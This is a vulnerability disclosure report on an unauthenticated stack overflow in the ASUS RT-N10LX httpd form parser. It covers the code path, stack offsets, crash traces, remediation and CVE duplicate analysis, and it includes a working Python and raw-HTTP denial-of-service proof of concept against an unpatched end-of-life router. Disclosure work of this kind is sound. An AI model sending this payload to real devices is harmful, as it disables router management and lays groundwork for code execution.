FIRMWARE SECURITY RESEARCH

ASUS RT-N10LX Firmware 2.0.0.39

Pre-Authentication Remote Stack Buffer Overflow in httpd

Report date: 2026-10-27
Affected firmware: RT-N10LX 2.0.0.39
Vulnerable component: /bin/httpd
Primary weakness: CWE-121 / CWE-787
Confirmed impact: Unauthenticated remote denial of service
Potential impact: Arbitrary code execution

CVE duplicate review: The issue likely shares the same websScan() root cause as CVE-2023-34942. Do not submit a new CVE without CNA confirmation.

Contents

1. Executive Summary
2. Affected Product and Firmware Identity
3. Vulnerability Classification
4. HTTP Attack Surface and Authentication
5. Vulnerable Code Path
6. Stack Layout and Control-Flow Corruption
7. Dynamic Crash Evidence
8. Minimal Denial-of-Service PoC
9. Security Impact
10. Detection and Remediation
11. Existing CVE and Duplicate Analysis
12. Suggested Correction Text for the Existing CVE
13. Conclusion
14. References

Executive Summary

ASUS RT-N10LX firmware 2.0.0.39 contains a stack-based buffer overflow in the HTTP daemon. The affected function is `websScan()` at `0x411318`, a shared parser for URL-encoded query and form data used by multiple management handlers.

For a request containing multiple `&`-separated fields, the parser uses:

```
strncpy(value_buffer, value, next_ampersand - value_start - 1);
```

For a request containing one `key=value` field, it uses:

```
strcpy(value_buffer, value);
```

In both cases, the destination is a 512-byte stack buffer. The multi-parameter branch checks the distance to the next `&`, not the destination capacity. The single-parameter branch has no length check at all.

The vulnerable POST parser is reached through multiple management endpoints that are explicitly handled before authentication. A request without an `Authorization` header can therefore reach the vulnerable copy operation.

The confirmed impact is remote denial of service: after the overflow, `httpd` receives `SIGSEGV`, the management interface stops responding, and the daemon does not restart automatically. The attacker controls the saved return address, the binary is non-PIE, and its GNU stack is marked executable, giving the bug strong remote-code-execution potential. A complete device-specific RCE chain is not included in this report.

Affected Product and Firmware Identity

Field	Value
Vendor	ASUSTeK Computer Inc.
Model	ASUS RT-N10LX
Firmware	2.0.0.39
Firmware package	`FW_RT_N10LX_20039.ZIP`
Firmware image	`RT-N10LX_2.0.0.39.trx`
Image size	2,590,702 bytes
Image MD5	`461ff9bc8d79962101e8be65f3a56ab6`
Image SHA-256	`54b05a7708b7373765fc6e71cd1bb8597380d00cc447a3301ae69f374c5f176b`
Vulnerable binary	`/bin/httpd`
Binary SHA-256	`a1d5563b8e7c356252f8c28b0faa706d5b7309d12843cecf0548d2aefc9f22ad`
Architecture	32-bit big-endian MIPS
Image base	`0x400000`
PIE	No

ASUS exposes RT-N10LX under a support-only product page. Public CVE documentation quotes ASUS PSIRT as confirming that the model is end-of-life and will not receive a firmware fix. This report applies only to firmware 2.0.0.39; other versions were not independently tested.

Vulnerability Classification

Field	Value
Primary CWE	CWE-121: Stack-based Buffer Overflow
Related CWE	CWE-787: Out-of-bounds Write
Attack vector	Network / HTTP
Authentication	None on affected routes
User interaction	None
Confirmed impact	Remote denial of service
Potential impact	Arbitrary code execution
Vulnerable function	`websScan()` at `0x00411318`
Confirmed single-field sink	`strcpy()` at `0x00411478`
Confirmed multi-field sink	`strncpy()` at `0x0041142C`

HTTP Attack Surface and Authentication

The main HTTP dispatcher in `sub_4052BC` parses the request, checks `Content-Length`, resolves the MIME handler, and invokes the POST callback as `m[3](path, stream, content_length, boundary)`.

Several management routes are explicitly placed in an authentication-bypass table, including:

```
/result_of_get_changed_status.asp
/result_of_get_changed_status_QIS.asp
/detectWAN.asp
/WPS_info.asp
/WAN_info.asp
/result_of_detect_client.asp
/start_apply.htm
/start_apply2.htm
/detectWAN2.asp
/automac.asp
/setting_lan.htm
/status.asp
```

The affected route family also includes:

```
/get_wan_status.asp
/get_fullscan_status.asp
```

Relevant dispatcher logic:

```
k = http_login_check();

if ((k == 1 || k == 2) &&
    (strstr(url, "QIS_") ||
     !strcmp(url, "result_of_detect_client.asp") ||
     !strcmp(url, "start_apply.htm") ||
     !strcmp(url, "detectWAN2.asp") ||
     !strcmp(url, "automac.asp") ||
     !strcmp(url, "status.asp") ||
     ...)) {
    turn_off_auth_timestamp = request_timestamp;
    temp_turn_off_auth = 1;
    redirect = 0;
}
```

The route-specific authentication callback is skipped when `temp_turn_off_auth` is set:

```
if (!temp_turn_off_auth) {
    m[5](&unk_4B5D54, &byte_4B5D94, &unk_4B5DD4);
}

if (m[3]) {
    m[3](index.asp, http_stream, content_length, boundary);
}
```

This ordering allows the vulnerable POST parser to process attacker-controlled data without a successful login.

Vulnerable Code Path

POST Body Collection

IDA identifies the POST handler as `sub_4126BC`. It reads up to 10,000 bytes of form data:

```
init_cgi(0);

n10000 = content_length + 1;
if (n10000 >= 0x2711)
    n10000 = 10000;

if (fgets(byte_4AF2FC, n10000, client_stream)) {
    /* Consume any remaining request body bytes. */
}

if (byte_4AF2FC) {
    sprintf(unk_4B1A0C, "?%s", byte_4AF2FC);
}

websScan(unk_4B1A0C);
```

The 10,000-byte read limit is not a per-parameter length limit.

Unsafe Parameter Parsing

IDA Hex-Rays reconstruction of `websScan()`:

```
int websScan(int query)
{
    char group[64];          /* [sp+0x30] */
    char value_buffer[512];  /* [sp+0x70] */
    char key_buffer[512];    /* [sp+0x270] */

    cursor = strchr(query, '?');

    while (cursor) {
        equals = strchr(cursor + 1, '=');
        ampersand = strchr(cursor + 1, '&');

        if (!equals)
            break;

        if (ampersand) {
            strncpy(value_buffer, equals + 1, ampersand - equals - 1);
        } else {
            strcpy(value_buffer, equals + 1);
        }

        strncpy(key_buffer, cursor + 1, equals - cursor - 1);

        if (!strncmp(cursor + 1, "group_id", 8)) {
            sprintf(group, "%s_s", value_buffer);
        }

        cursor = strchr(cursor + 1, '&');
    }
}
```

Relevant machine code:

```
; Multi-parameter value copy
0x411424  la   $t9, strncpy
0x41142C  jalr $t9

; Single-parameter value copy
0x411470  la   $t9, strcpy
0x411478  jalr $t9

; Parameter-name copy
0x4114AC  la   $t9, strncpy
0x4114B4  jalr $t9

; Function return
0x4116F4  jr   $ra
```

Why `strncpy()` Is Also Vulnerable

The third argument in the multi-parameter branch is:

```
ampersand - equals - 1
```

It is controlled by the request and is not compared with `sizeof(value_buffer)`. Therefore the parser does not impose a 512-byte bound.

The code also does not verify that `&` occurs after `=`. If `&` precedes `=`, the subtraction can underflow and produce an extremely large copy length.

Secondary Overflow

If the field name starts with `group_id`, the parser writes:

```
sprintf(group, "%s_s", value_buffer);
```

`group` is only 64 bytes, while `value_buffer` may already contain an attacker-controlled long string. This creates an additional stack write inside the same function.

Stack Layout and Control-Flow Corruption

IDA stack allocation for `websScan()`:

Stack object	Offset	Size
`group`	`$sp + 0x030`	64 bytes
`value_buffer`	`$sp + 0x070`	512 bytes
`key_buffer`	`$sp + 0x270`	512 bytes
Saved `$s0`	`$sp + 0x470`	4 bytes
Saved `$s1`	`$sp + 0x474`	4 bytes
Saved `$fp`	`$sp + 0x478`	4 bytes
Saved `$ra`	`$sp + 0x47C`	4 bytes

The return-address boundary is:

```
0x47C - 0x70 = 0x40C = 1036 bytes
```

An oversized value corrupts the saved register area and overwrites `$ra`. A 1500-byte value is enough to place attacker bytes at the saved return address.

Dynamic Crash Evidence

The single-field PoC reached the `strcpy()` branch at `0x411478`.

Before the copy:

```
pc = 0x00411478
sp = 0x7fffbe20
a0 = 0x7fffbe90    ; destination, sp + 0x70
a1 = 0x004b1a10    ; source, attacker-controlled 'A' bytes
```

The saved register area at `$sp + 0x470` initially contained:

```
0x004b7008  0x00000000  0x7fffc2a0  0x00412a54
```

After the copy:

```
0x41414141  0x41414141  0x41414141  0x41414141
```

The final fault was:

```
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
pc = 0x41414141
ra = 0x41414141
```

The stack below `$sp` consisted of repeated `0x41414141` words. This is direct input-to-control-flow corruption, not an unrelated parser or network error.

Minimal Denial-of-Service PoC

The following request contains one form field and no `&`, forcing the single-parameter `strcpy()` branch:

```
POST /result_of_detect_client.asp HTTP/1.1
Host: <router-address>
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1503
Accept: */*
Connection: close

ip=<1500 ASCII 'A' bytes>
```

Minimal Python equivalent:

```
#!/usr/bin/env python3
import socket

HOST = "<router-address>"
PORT = 80

body = b"ip=" + b"A" * 1500
request = (
    b"POST /result_of_detect_client.asp HTTP/1.1\r\n"
    b"Host: " + HOST.encode() + b"\r\n"
    b"User-Agent: Mozilla/5.0\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"Content-Length: " + str(len(body)).encode() + b"\r\n"
    b"Accept: */*\r\n"
    b"Connection: close\r\n"
    b"\r\n" + body
)

with socket.create_connection((HOST, PORT), timeout=5) as sock:
    sock.sendall(request)
```

Expected Result

- The connection receives no valid HTTP response.
- `httpd` terminates with `SIGSEGV`.
- The invalid program counter is `0x41414141`.
- The management interface remains unavailable until the daemon restarts or the device reboots.

The supplied PoC deliberately stops at denial of service and does not contain an RCE payload.

Security Impact

Confirmed

- Unauthenticated remote denial of service against the management HTTP service.
- Loss of the Web management interface.
- Repeated exploitation after reboot can keep management access unavailable.
- Other firmware services may remain running, but HTTP administration is lost.

Potential

- Remote code execution in the `httpd` process.
- Configuration disclosure or modification.
- Interference with routing, wireless, and other management functions if the daemon runs with elevated privileges.

The RCE assessment is based on direct saved-return-address control. No complete code-execution chain is provided.

Attack Prerequisites

- Network reachability to the management HTTP interface.
- No credentials on the affected route set.
- A single parameter value large enough to cross the saved return address.

LAN-side and associated-WLAN attackers are in scope. Internet-side exposure depends on remote-management and firewall settings.

Detection and Remediation

Detection should look for:

- POSTs to the affected management routes;
- individual form values longer than 1024 bytes;
- large values in normally short fields such as `ip`, `mac`, `wan`, `scan`, or `status`;
- HTTP service loss after such requests;
- `httpd` termination with an input-derived PC such as `0x41414141`.

RT-N10LX is reported as end-of-life and no fixed firmware is available.

Source-level remediation must bound-copy every parser value:

```
if (value_len >= sizeof(value_buffer))
    return -1;

memcpy(value_buffer, value, value_len);
value_buffer[value_len] = '\0';
```

The same validation is required for the parameter-name buffer, `group_id` formatting buffer, and any combined query/body staging storage.

Until a fix exists, restrict management access to trusted networks, disable remote Web management where possible, and monitor for oversized form fields.

Existing CVE and Duplicate Analysis

Public records as of 2026-10-27

CVE	Published	CVSS 3.1	Public description
CVE-2023-34940	2023-06-12	7.5 High	Stack overflow via `url` at `/start-apply.html`
CVE-2023-34941	2023-06-12	5.4 Medium	Stored XSS in URL Keyword List
CVE-2023-34942	2023-06-12	7.5 High	Stack overflow via `mac` at `/start-apply.html`

NVD keyword searches for `websScan`, `result_of_detect_client`, RT-N10LX `httpd`, and RT-N10LX authentication returned no record explicitly naming the shared parser or the additional route family.

However, the public PoC screenshots for CVE-2023-34940 and CVE-2023-34942 show:

- CVE-2023-34940: `Content-Length: 1571`, including roughly 1500 bytes in the `url` value;
- CVE-2023-34942: `Content-Length: 2548`, including a similarly oversized `mac` value.

Both exceed the 1036-byte distance from `value_buffer` to saved `$ra`. They therefore likely reach the shared `websScan()` overflow before page-specific processing.

The public writeups identify later functions such as `urlFilterList()` and `macFilterList()`. IDA analysis shows that `urlFilterList()` uses `fprintf()`, while `macFilterList()` formats its 104-byte display buffer with bounded `snprintf()`. Their descriptions do not fully explain the oversized public requests. The evidence therefore indicates that the existing CVEs may misattribute the final crash location and that `websScan()` is the broader root cause.

Duplicate determination

```
Additional endpoints/parameters:        Yes
Same vulnerable component:              Yes
Same destination buffer:                Yes
Same parser function:                   Yes
Same overflow class:                    Yes
Likely same root cause as CVE-2023-34942: Yes
Recommended as a new CVE without CNA review: No
```

The strongest possible distinction is that CVE-2023-34940 and CVE-2023-34942 describe parameter-specific overflows, while this report covers a single-parameter `strcpy()` path and a broader unauthenticated endpoint set. Because the code fix would likely be the same shared parser bound check, this is not enough to assert a separate vulnerability without CNA confirmation.

Recommended action

1. Contact the CNA responsible for CVE-2023-34942 or MITRE.
2. Provide the `websScan()` decompilation, stack layout, and runtime crash evidence.
3. Request that the existing CVE description identify the shared parser as the root cause and document the additional affected endpoints.
4. Ask whether the single-field `strcpy()` branch warrants separate coverage.
5. Submit a new CVE only if the CNA confirms that it is not a duplicate.

CNVD and CNNVD portals were not reliably reachable during the search window. Indexed searches found no specific CNVD/CNNVD record, but this is not an authoritative non-duplication result. A manual CNVD/CNNVD or CNA query remains necessary.

Suggested Correction Text for the Existing CVE

> ASUS RT-N10LX firmware 2.0.0.39 contains a stack-based buffer overflow in the shared HTTP form parser `websScan()`. The parser copies attacker-controlled parameter values into a 512-byte stack buffer without limiting the copy to the destination size. Multiple management endpoints, including `result_of_detect_client.asp`, `detectWAN2.asp`, `automac.asp`, `status.asp`, `get_wan_status.asp`, and `get_fullscan_status.asp`, can reach the parser without successful authentication. An attacker can overwrite the saved return address and terminate the HTTP daemon; return-address control may permit code execution.

Conclusion

The technical overflow is confirmed. `websScan()` receives unauthenticated HTTP form data, copies an attacker-controlled value into a 512-byte stack buffer without a destination-size check, overwrites saved `$ra` at offset 1036, and causes `httpd` to jump to `0x41414141`.

The confirmed security impact is remote denial of service. The non-PIE binary, executable stack, and direct return-address control provide strong evidence of RCE potential, but no complete exploit chain is included.

The issue is not currently suitable for submission as a wholly new CVE. Public PoCs for CVE-2023-34942 already use values large enough to reach the same shared parser. The appropriate next step is to request a root-cause and affected-range correction from the CNA rather than filing a duplicate.

References

1. https://www.asus.com/supportonly/rt-n10lx/helpdesk_bios/
2. https://nvd.nist.gov/vuln/detail/CVE-2023-34940
3. https://nvd.nist.gov/vuln/detail/CVE-2023-34941
4. https://nvd.nist.gov/vuln/detail/CVE-2023-34942
5. https://github.com/OlivierLaflamme/cve/blob/main/ASUS-N10LX_2.0.0.39/URLFilterList_Stack_BOF.md
6. https://github.com/OlivierLaflamme/cve/blob/main/ASUS-N10LX_2.0.0.39/MAC_Address_StackBOF.md
7. https://cveform.mitre.org/